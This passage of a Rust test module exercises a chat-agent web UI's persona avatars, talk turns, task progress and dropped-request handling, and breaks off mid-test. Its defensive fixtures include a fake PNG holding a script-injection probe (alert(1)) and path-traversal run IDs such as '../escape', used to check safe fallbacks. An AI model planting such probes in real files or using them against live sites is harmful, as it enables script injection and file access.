16112    #[tokio::test]
16113    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16114        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16115        for p in [
16116            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16117        ] {
16118            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16119            assert_eq!(status, StatusCode::OK, "{p}");
16120            assert_eq!(ct, "image/svg+xml", "{p}");
16121            assert!(nosniff && csp, "{p}");
16122            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16123        }
16124        // No `persona` means the conversation's own; unknown ones fall back.
16125        let own = avatar(&ui, &id, None, false).await;
16126        let default = avatar(&ui, &id, Some("default"), false).await;
16127        assert_eq!(own.4, default.4);
16128        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16129        assert_eq!(unknown.1, "image/svg+xml");
16130    }
16131
16132    #[tokio::test]
16133    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16134        let dir = TempDir::new().expect("icons");
16135        let good = dir.path().join("good.png");
16136        std::fs::write(&good, tiny_png()).unwrap();
16137        let spoof = dir.path().join("spoof.png");
16138        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16139        let big = dir.path().join("big.png");
16140        let mut bytes = tiny_png();
16141        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16142        std::fs::write(&big, bytes).unwrap();
16143        let missing = dir.path().join("missing.png");
16144        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16145        let extra = format!(
16146            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16147             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16148             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16149             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16150             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16151             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16152            uri(&good),
16153            uri(&spoof),
16154            uri(&big),
16155            uri(&missing),
16156        );
16157        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16158
16159        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16160        assert_eq!(
16161            (status, ct.as_str(), nosniff),
16162            (StatusCode::OK, "image/png", true)
16163        );
16164        assert_eq!(body, tiny_png());
16165        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16166        assert_eq!(ct, "image/png", "data URI");
16167
16168        for p in ["misato", "asuka", "shinji", "magi"] {
16169            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16170            assert_eq!(
16171                (status, ct.as_str(), csp),
16172                (StatusCode::OK, "image/svg+xml", true),
16173                "{p}"
16174            );
16175            assert!(body.starts_with(b"<svg"), "{p}");
16176        }
16177        // The page's own retry skips the icon.
16178        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16179        assert_eq!(ct, "image/svg+xml");
16180    }
16181
16182    #[tokio::test]
16183    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16184        let oversized = format!(
16185            "data:image/png;base64,{}",
16186            "A".repeat(persona_icon::ICON_MAX_BYTES)
16187        );
16188        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16189            let extra = format!(
16190                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16191            );
16192            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16193            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16194                .await
16195                .expect("detail with invalid icon");
16196            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16197            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16198            assert_eq!(status, StatusCode::OK);
16199            assert_eq!(ct, "image/svg+xml");
16200            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16201            let Json(view) = talk_persona(
16202                State(Arc::clone(&ui)),
16203                Path(id.clone()),
16204                Json(TalkPersona {
16205                    persona: "custom".into(),
16206                }),
16207            )
16208            .await
16209            .expect("persona switch with invalid icon");
16210            assert_eq!(view.talk.persona, "custom");
16211            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16212        }
16213    }
16214
16215    #[tokio::test]
16216    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16217        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16218        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16219        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16220        assert_eq!(
16221            (status, ct.as_str(), nosniff, csp),
16222            (StatusCode::OK, "image/svg+xml", true, true)
16223        );
16224    }
16225
16226    #[tokio::test]
16227    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16228        let (_t, _h, ui, id, _repo) =
16229            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16230        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16231            .await
16232            .expect("detail");
16233        let json = serde_json::to_string(&detail).unwrap();
16234        assert!(
16235            !json.contains("secret"),
16236            "the icon setting must not leak: {json}"
16237        );
16238        assert!(
16239            detail
16240                .view
16241                .persona_avatar
16242                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16243        );
16244        assert_eq!(
16245            detail.view.operator_avatar,
16246            format!(
16247                "/avatars/operator.svg?v={}",
16248                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16249            )
16250        );
16251        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16252        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16253        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16254        assert!(rei.avatar.contains("persona=rei&v="));
16255        assert_ne!(
16256            rei.avatar.split("&v=").nth(1),
16257            plain.avatar.split("&v=").nth(1)
16258        );
16259    }
16260
16261    #[tokio::test]
16262    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16263        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16264        let cfg = config_for(&repo).await.unwrap();
16265        for arrived in [false, true] {
16266            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16267            let observed = ui.queued_generation(&id);
16268            let talk = ui.talks.get(&id).unwrap();
16269            if arrived {
16270                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16271            }
16272            let mut settling = std::pin::pin!(settle_settings_turn(
16273                talk,
16274                ui.talks.clone(),
16275                cfg.clone(),
16276                id.clone(),
16277                turn,
16278                observed
16279            ));
16280            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16281            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16282            assert_eq!(first.is_pending(), arrived);
16283            if arrived {
16284                assert!(!settling.await);
16285            }
16286            assert!(!ui.is_thinking(&id));
16287        }
16288    }
16289
16290    #[tokio::test]
16291    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16292        let tmp = TempDir::new().expect("tempdir");
16293        let repo = tmp.path().join("repo");
16294        std::fs::create_dir_all(&repo).expect("repo dir");
16295        std::fs::write(
16296            repo.join("magi.toml"),
16297            format!(
16298                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16299            ),
16300        )
16301        .expect("write magi.toml");
16302        let home = TempDir::new().expect("temp home");
16303        let talks = Talks::at(home.path().join("talks"));
16304        let ui = Arc::new(
16305            Ui::new(
16306                Queue::at(home.path().join("queue")),
16307                Questions::at(home.path().join("questions")),
16308                talks.clone(),
16309                home.path().join("runs"),
16310                home.path().to_path_buf(),
16311                repo.clone(),
16312            )
16313            .with_worktrees_root(home.path().join("wt")),
16314        );
16315        let cfg = config_for(&repo).await.expect("discover config");
16316        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16317        let id = talk.id.clone();
16318        let call = |persona: &str| {
16319            talk_persona(
16320                State(Arc::clone(&ui)),
16321                Path(id.clone()),
16322                Json(TalkPersona {
16323                    persona: persona.to_owned(),
16324                }),
16325            )
16326        };
16327
16328        let unknown = call("nobody").await.expect_err("unknown persona");
16329        assert_eq!(
16330            unknown.status,
16331            StatusCode::BAD_REQUEST,
16332            "{}",
16333            unknown.message
16334        );
16335
16336        {
16337            // Nothing refused so far took a claim, so the guard is free to take
16338            // and holding it is what makes the talk busy.
16339            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16340            let busy = call("rei").await.expect_err("busy talk");
16341            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16342            assert!(
16343                busy.message.contains("a talk turn is running"),
16344                "{}",
16345                busy.message
16346            );
16347            drop(guard);
16348        }
16349        assert_eq!(talks.get(&id).expect("reload").persona, "");
16350
16351        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16352        assert_eq!(view.talk.persona, "gendo");
16353        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16354        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16355        // No intervening I/O or sleep may be needed before another change.
16356        for chosen in ["default", "gendo", "rei", "gendo"] {
16357            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16358            assert!(!view.thinking);
16359            assert!(!ui.is_thinking(&id));
16360        }
16361
16362        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16363            .await
16364            .expect("detail");
16365        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16366        assert_eq!(ids.first(), Some(&"default"));
16367        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16368
16369        let Json(view) = call("default").await.expect("back to default");
16370        assert_eq!(view.talk.persona, "");
16371
16372        let mut closed = talks.get(&id).expect("reload");
16373        talk::close(&mut closed, &talks).expect("close");
16374        let refused = call("rei").await.expect_err("closed talk");
16375        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16376        assert!(
16377            refused.message.contains("takes no more turns"),
16378            "{}",
16379            refused.message
16380        );
16381    }
16382
16383    #[tokio::test]
16384    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16385        let f = Fixture::start().await;
16386        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16387        let queue = f.queue();
16388        let mut mine = Task::new(
16389            "rename the loader".to_owned(),
16390            "rename the loader".to_owned(),
16391            PathBuf::from("/repo/magi"),
16392            Source::Agent {
16393                run: talk_id.clone(),
16394                node: "chat".to_owned(),
16395            },
16396        );
16397        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16398        assert_eq!(empty["task_progress"]["state"], "none");
16399        assert_eq!(empty["task_progress"]["total"], 0);
16400        queue.put(&mut mine).expect("file the task");
16401        let mut theirs = Task::new(
16402            "unrelated".to_owned(),
16403            "unrelated".to_owned(),
16404            PathBuf::from("/repo/magi"),
16405            Source::Human,
16406        );
16407        // A later task linked through origin_chat alone is outside this list.
16408        theirs.origin_chat = Some(talk_id.clone());
16409        queue.put(&mut theirs).expect("file the task");
16410
16411        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16412        assert_eq!(res.status, 200, "{}", res.body);
16413        let body = res.json();
16414        assert_eq!(
16415            body["status"], "open",
16416            "filing a task does not close a talk"
16417        );
16418        let tasks = body["tasks"].as_array().expect("tasks array");
16419        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16420        assert_eq!(tasks[0]["id"], mine.id);
16421        for status in [
16422            TaskStatus::Queued,
16423            TaskStatus::Running,
16424            TaskStatus::Held,
16425            TaskStatus::Failed,
16426            TaskStatus::Blocked,
16427            TaskStatus::Parked,
16428            TaskStatus::Done,
16429            TaskStatus::Queued,
16430        ] {
16431            mine.status = status;
16432            queue.put(&mut mine).expect("update status");
16433            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16434            let progress = &detail["task_progress"];
16435            assert_eq!(progress["total"], 1);
16436            assert_eq!(progress["counts"][status.as_str()], 1);
16437            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16438            assert_eq!(detail["status"], "open", "completion never closes the chat");
16439            if status == TaskStatus::Done {
16440                assert_eq!(progress["state"], "complete");
16441                assert_eq!(progress["done"], 1);
16442                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16443            } else {
16444                assert_eq!(progress["state"], "incomplete");
16445                assert_eq!(progress["done"], 0);
16446                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16447            }
16448        }
16449    }
16450
16451    #[test]
16452    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16453        let home = tempfile::tempdir().unwrap();
16454        let runs = home.path().join("runs");
16455        let queue = Queue::at(home.path().join("queue"));
16456        let talks = Talks::at(home.path().join("talks"));
16457        let config = stub_config();
16458        let repo = PathBuf::from("/repo/magi");
16459        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16460        let reserve_run = |repo| {
16461            let mut run = RunState::new(
16462                repo,
16463                "main".into(),
16464                "0000000".into(),
16465                "Follow the review".into(),
16466                config.clone(),
16467            );
16468            run.reserve_under(home.path()).unwrap();
16469            run
16470        };
16471        let older = reserve_run(repo.clone());
16472        let newer = reserve_run(repo.clone());
16473        let foreign = reserve_run(PathBuf::from("/repo/other"));
16474        let mismatched = reserve_run(repo.clone());
16475        let corrupt = reserve_run(repo.clone());
16476        let run_file = |id: &str| runs.join(id).join("run.json");
16477        std::fs::write(
16478            run_file(&mismatched.id),
16479            serde_json::to_vec(&older).unwrap(),
16480        )
16481        .unwrap();
16482        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16483        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16484            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16485                "id": "g", "purpose": "Follow the review", "scope": "review",
16486                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16487                "state": "waiting", "step": "Follow the recorded review",
16488                "source_turn": 0, "owner_input": "Follow the review",
16489                "tasks": tasks, "runs": runs, "watches": [],
16490                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16491                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16492            }))
16493            .unwrap()
16494        };
16495        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16496
16497        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16498        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16499
16500        let unusable = vec![
16501            foreign.id.clone(),
16502            mismatched.id.clone(),
16503            corrupt.id.clone(),
16504            "missing".into(),
16505            "../escape".into(),
16506        ];
16507        let mut references = vec![older.id.clone()];
16508        references.extend(unusable.clone());
16509        talk.goals = vec![goal(vec![], references)];
16510        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16511
16512        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16513        assert_eq!(link(&talk), None);
16514
16515        let mut task = Task::new(
16516            "Review".into(),
16517            "Follow the review".into(),
16518            repo,
16519            Source::Human,
16520        );
16521        queue.put(&mut task).unwrap();
16522        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16523        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16524
16525        task.runs.push(older.id.clone());
16526        queue.put(&mut task).unwrap();
16527        assert_eq!(link(&talk), Some(("run", older.id)));
16528    }
16529
16530    #[test]
16531    fn talk_task_progress_counts_mixed_statuses() {
16532        let mut tasks: Vec<_> = [
16533            TaskStatus::Queued,
16534            TaskStatus::Running,
16535            TaskStatus::Held,
16536            TaskStatus::Failed,
16537            TaskStatus::Blocked,
16538            TaskStatus::Parked,
16539            TaskStatus::Done,
16540        ]
16541        .into_iter()
16542        .map(|status| {
16543            let mut task = Task::new(
16544                "task".into(),
16545                "task".into(),
16546                PathBuf::from("/repo"),
16547                Source::Human,
16548            );
16549            task.status = status;
16550            task
16551        })
16552        .collect();
16553        let progress = talk_task_progress(&tasks);
16554        assert_eq!(progress.state, "incomplete");
16555        assert_eq!(progress.total, 7);
16556        assert_eq!(progress.done, 1);
16557        assert_eq!(progress.unfinished_ids.len(), 6);
16558        assert!(progress.counts.values().all(|count| *count == 1));
16559        assert_eq!(
16560            progress.unfinished_ids,
16561            tasks[..6]
16562                .iter()
16563                .map(|task| task.id.clone())
16564                .collect::<Vec<_>>()
16565        );
16566
16567        for task in &mut tasks {
16568            task.status = TaskStatus::Done;
16569        }
16570        let complete = talk_task_progress(&tasks);
16571        assert_eq!(complete.state, "complete");
16572        assert_eq!(complete.done, 7);
16573        assert!(complete.unfinished_ids.is_empty());
16574        tasks[0].status = TaskStatus::Queued;
16575        let requeued = talk_task_progress(&tasks);
16576        assert_eq!(requeued.state, "incomplete");
16577        assert_eq!(requeued.done, 6);
16578        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16579
16580        let empty = talk_task_progress(&[]);
16581        assert_eq!(empty.state, "none");
16582        assert_eq!(empty.total, 0);
16583        assert_eq!(empty.done, 0);
16584        assert!(empty.unfinished_ids.is_empty());
16585        assert!(empty.counts.values().all(|count| *count == 0));
16586    }
16587
16588    #[tokio::test]
16589    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16590        let (_tmp, _repo, f) = talk_fixture().await;
16591        let id = f.post("/api/talks", None).await.json()["id"]
16592            .as_str()
16593            .expect("id")
16594            .to_owned();
16595
16596        let res = f
16597            .post(
16598                &format!("/api/talks/{id}/say"),
16599                Some(r#"{"text":"what does the queue module do?"}"#),
16600            )
16601            .await;
16602        assert_eq!(res.status, 202, "{}", res.body);
16603        let queued = res.json();
16604        let turns = queued["turns"].as_array().expect("turns array");
16605        assert_eq!(
16606            turns.len(),
16607            1,
16608            "the answer reflects only what is on disk the instant it is sent, \
16609             before the agent's turn - which can run for the whole of \
16610             `[graph] timeout_talk` - has a chance to land: {queued}"
16611        );
16612        assert_eq!(turns[0]["who"], "operator");
16613        assert_eq!(turns[0]["body"], "what does the queue module do?");
16614        assert_eq!(
16615            queued["thinking"], true,
16616            "the accepted response exposes the background turn claim: {queued}"
16617        );
16618
16619        let mut turns_after = 1;
16620        for _ in 0..SETTLE_STEPS {
16621            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16622            turns_after = detail["turns"].as_array().expect("turns array").len();
16623            if turns_after == 2 {
16624                break;
16625            }
16626            tokio::time::sleep(Duration::from_millis(10)).await;
16627        }
16628        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16629    }
16630
16631    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16632    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16633    /// guards against: `talk::record` used to return, and only *then* did the
16634    /// handler make a second, separate disk round trip before spawning the
16635    /// agent's reply task. A future dropped in that gap left a message
16636    /// recorded on disk with no reply task ever started and no way back short
16637    /// of a fresh message - and the gap was not even the whole story: *any*
16638    /// `.await` in this handler, including the very first one, is a point
16639    /// where a drop can land after the awaited work already finished but
16640    /// before this handler's own code resumes to act on it. `record` now
16641    /// runs inside the task `tokio::spawn` hands to the runtime before this
16642    /// handler ever awaits anything of its own again, so there is nothing
16643    /// left in *this* handler's future for a disconnect to interrupt between
16644    /// the message landing on disk and the reply task starting.
16645    ///
16646    /// A real socket disconnect cannot be relied on to land in the old gap
16647    /// from a test - over loopback, `talk_say` typically finishes before the
16648    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16649    /// same failure mode directly: it drops the task's future at whatever
16650    /// point it has reached, exactly what axum does to the handler future,
16651    /// without needing to win a real network race. Sweeping the delay before
16652    /// aborting samples a range of points the task's execution can be at,
16653    /// including where the old code sat waiting on its second disk round
16654    /// trip - confirmed by reverting this fix locally and watching this same
16655    /// sweep catch a talk stuck with the operator's turn recorded and no
16656    /// reply ever following.
16657    #[tokio::test]
16658    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16659        let tmp = TempDir::new().expect("tempdir");
16660        let repo = tmp.path().join("repo");
16661        std::fs::create_dir_all(&repo).expect("repo dir");
16662        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16663        let home = TempDir::new().expect("temp home");
16664        let talks = Talks::at(home.path().join("talks"));
16665        let ui = Arc::new(
16666            Ui::new(
16667                Queue::at(home.path().join("queue")),
16668                Questions::at(home.path().join("questions")),
16669                talks.clone(),
16670                home.path().join("runs"),
16671                home.path().to_path_buf(),
16672                repo.clone(),
16673            )
16674            .with_worktrees_root(home.path().join("wt")),
16675        );
16676        let cfg = config_for(&repo).await.expect("discover config");
16677
16678        for delay in 0..40u32 {
16679            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16680            let id = talk.id.clone();
16681
16682            let handler = tokio::spawn(talk_say(
16683                State(Arc::clone(&ui)),
16684                Path(id.clone()),
16685                Ok(Json(NewTalkTurn {
16686                    reply_to: None,
16687                    text: "what does the queue module do?".to_owned(),
16688                    attachments: Vec::new(),
16689                })),
16690            ));
16691            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16692            handler.abort();
16693            // Wait out the abort so the next iteration's talk does not race
16694            // this one's still-unwinding turn guard.
16695            let _ = handler.await;
16696
16697            let mut turns = 0;
16698            for _ in 0..SETTLE_STEPS {
16699                if let Ok(fresh) = talks.get(&id) {
16700                    turns = fresh.turns.len();
16701                    if turns != 1 {
16702                        break;
16703                    }
16704                }
16705                tokio::time::sleep(Duration::from_millis(10)).await;
16706            }
16707            assert_ne!(
16708                turns, 1,
16709                "delay {delay}: talk {id} recorded the operator's turn but \
16710                 the agent never answered - the reply task was never \
16711                 started after the handler future was dropped"
16712            );
16713        }
16714    }
16715
16716    /// The same drop, landing on `talk_say`'s other durable write.
16717    ///
16718    /// When a turn is already running, the busy branch persists the
16719    /// operator's text as a queued draft and then reclaims the turn slot if
16720    /// the holder gave it up in the meantime - and whoever reclaims owes that
16721    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16722    /// which finishes whether or not the future awaiting it is still there,
16723    /// so a handler dropped at that `.await` used to leave the draft written
16724    /// to disk with the reclaimed guard dropped unread and no drainer ever
16725    /// started: the message sat queued until some unrelated later `say`
16726    /// happened to pick it up.
16727    ///
16728    /// This used to drive the handler future by hand, polling it a fixed
16729    /// number of times to park it at the `.await` where it asks for the turn
16730    /// and finds it busy, before the reclaim's slot-free case could be set up
16731    /// underneath it. That assumed a fixed number of polls lands at a fixed
16732    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16733    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16734    /// poll, so any number of this handler's several `blocking` awaits can
16735    /// collapse into one poll under load, landing the drive somewhere other
16736    /// than intended - including, occasionally, straight past the handler's
16737    /// own completion, which made polling it again panic with "async fn
16738    /// resumed after completion". No poll count fixes that; the handler's
16739    /// progress simply is not something a caller outside it can observe by
16740    /// counting.
16741    ///
16742    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16743    /// inside the write itself, so the interleaving under test is pinned by
16744    /// an event instead of a guess: the gate fires only once the handler has
16745    /// actually decided `Busy` and is about to persist the draft, and it
16746    /// blocks that write until the test lets it through. Between those two
16747    /// moments the test drains the turn the handler found busy - through
16748    /// `drain_loop`, the protocol's other half - and then aborts the handler
16749    /// task outright, the same way axum drops a disconnected request's
16750    /// future. The write, and the reclaim it may do, run to completion
16751    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16752    /// to the runtime before ever touching the gate, wholly independent of
16753    /// whether the handler that started it is still around - which is what
16754    /// this test is actually checking. A drainer other than that reclaim
16755    /// cannot exist here: the test's own `drain_loop` call happens before the
16756    /// gate opens, so it runs while the queue is still empty and hands the
16757    /// turn straight back rather than draining anything, closing off the
16758    /// possibility of the final assertion passing without the reclaim ever
16759    /// having done its job.
16760    #[tokio::test]
16761    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16762        let tmp = TempDir::new().expect("tempdir");
16763        let repo = tmp.path().join("repo");
16764        std::fs::create_dir_all(&repo).expect("repo dir");
16765        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16766        let home = TempDir::new().expect("temp home");
16767        let talks = Talks::at(home.path().join("talks"));
16768        let ui = Arc::new(
16769            Ui::new(
16770                Queue::at(home.path().join("queue")),
16771                Questions::at(home.path().join("questions")),
16772                talks.clone(),
16773                home.path().join("runs"),
16774                home.path().to_path_buf(),
16775                repo.clone(),
16776            )
16777            .with_worktrees_root(home.path().join("wt")),
16778        );
16779        let cfg = config_for(&repo).await.expect("discover config");
16780        // Both waits guard against hangs, not slow filesystem or Git work on
16781        // a loaded test host. The gates and lock polls assert the ordering.
16782        let hang_guard = Duration::from_secs(30);
16783
16784        for attempt in 0..3u32 {
16785            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16786            let id = talk.id.clone();
16787            // A turn is already running, which is what sends `talk_say` down
16788            // the busy branch.
16789            let turn_guard = ui
16790                .begin_talk_turn(&id)
16791                .expect("claim the turn")
16792                .expect("a fresh talk owes nobody a turn");
16793
16794            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16795            let (release_tx, release_rx) = std::sync::mpsc::channel();
16796            ui.set_busy_queue_gate(BusyQueueGate {
16797                reached: reached_tx,
16798                release: release_rx,
16799            });
16800
16801            let handler = tokio::spawn(talk_say(
16802                State(Arc::clone(&ui)),
16803                Path(id.clone()),
16804                Ok(Json(NewTalkTurn {
16805                    reply_to: None,
16806                    text: "what does the queue module do?".to_owned(),
16807                    attachments: Vec::new(),
16808                })),
16809            ));
16810
16811            // Wait for the busy branch to actually reach the gate, rather
16812            // than for any fixed number of polls of anything - a bounded
16813            // wait rather than a bare `.await` so a regression that never
16814            // reaches the gate fails the test instead of hanging it.
16815            tokio::time::timeout(hang_guard, reached_rx)
16816                .await
16817                .unwrap_or_else(|_| {
16818                    panic!(
16819                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16820                    )
16821                })
16822                .expect("the busy branch dropped the gate without using it");
16823            assert!(
16824                crate::chat_worker::try_publication_guard(&talks, &id)
16825                    .expect("publication fence")
16826                    .is_none(),
16827                "a queued worker cannot promote text before its successor reservation is published"
16828            );
16829
16830            // A listener replacement queues its writer behind this accepted
16831            // mutation. Even disconnecting the HTTP caller must not release
16832            // admission before the write-to-worker handoff has completed.
16833            let closing = Arc::clone(&ui.admissions).write_owned();
16834            tokio::pin!(closing);
16835            std::future::poll_fn(|cx| {
16836                assert!(closing.as_mut().poll(cx).is_pending());
16837                std::task::Poll::Ready(())
16838            })
16839            .await;
16840            assert!(
16841                ui.begin_admission().is_err(),
16842                "replacement blocks later admissions"
16843            );
16844
16845            // The turn that was running now finishes and gives the slot up
16846            // the way a real one does - through `drain_loop`, which finds
16847            // nothing queued yet (the write is still held at the gate) and
16848            // releases. The handler, parked inside `spawn_blocking` on the
16849            // other side of the gate, still believes the talk is busy -
16850            // exactly the interleaving the reclaim exists for.
16851            let running = talks.get(&id).expect("reload talk");
16852            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16853
16854            // Drop the handler future now, the way a reloading phone drops
16855            // it: suspended waiting on the busy branch's answer, having
16856            // itself made no more progress since it handed the write off.
16857            handler.abort();
16858            let _ = handler.await;
16859            std::future::poll_fn(|cx| {
16860                assert!(
16861                    closing.as_mut().poll(cx).is_pending(),
16862                    "HTTP cancellation must not abandon a publishing transaction"
16863                );
16864                std::task::Poll::Ready(())
16865            })
16866            .await;
16867            assert!(
16868                crate::chat_worker::try_publication_guard(&talks, &id)
16869                    .expect("publication fence after disconnect")
16870                    .is_none()
16871            );
16872
16873            // Only now let the gated write proceed. It persists the draft
16874            // and reclaims the now-free slot from inside the task the busy
16875            // branch already spawned - unaffected by the handler's abort
16876            // above, since that task was independent of the handler's own
16877            // future from the moment it was spawned.
16878            release_tx.send(()).expect("busy queue write still gated");
16879            drop(
16880                tokio::time::timeout(hang_guard, closing)
16881                    .await
16882                    .unwrap_or_else(|_| {
16883                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16884                    }),
16885            );
16886            assert!(
16887                crate::chat_worker::try_publication_guard(&talks, &id)
16888                    .expect("publication fence after acknowledgement")
16889                    .is_some(),
16890                "the publication fence is not retained by the long response"
16891            );
16892
16893            // A settled talk: the draft drained into an operator turn and
16894            // answered.
16895            let mut fresh = talks.get(&id).expect("reload talk");
16896            for _ in 0..SETTLE_STEPS {
16897                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16898                    break;
16899                }
16900                tokio::time::sleep(Duration::from_millis(10)).await;
16901                fresh = talks.get(&id).expect("reload talk");
16902            }
16903            assert!(
16904                fresh.pending.is_empty() && fresh.turns.len() == 2,
16905                "attempt {attempt}: talk {id} left the operator's text queued \
16906                 with no drainer - the reclaimed turn was dropped along with \
16907                 the handler future (pending {:?}, {} turns)",
16908                fresh.pending,
16909                fresh.turns.len()
16910            );
16911        }
16912    }
16913
16914    #[tokio::test]
16915    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16916        let (_tmp, _repo, f) = talk_fixture().await;
16917        let id = f.post("/api/talks", None).await.json()["id"]
16918            .as_str()
16919            .expect("id")
16920            .to_owned();
16921        let store = f.talks();
16922        let mut recovered = store.get(&id).expect("opened talk");
16923        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16924            .expect("persist pending draft without a live turn");
16925
16926        let edited = f
16927            .post(
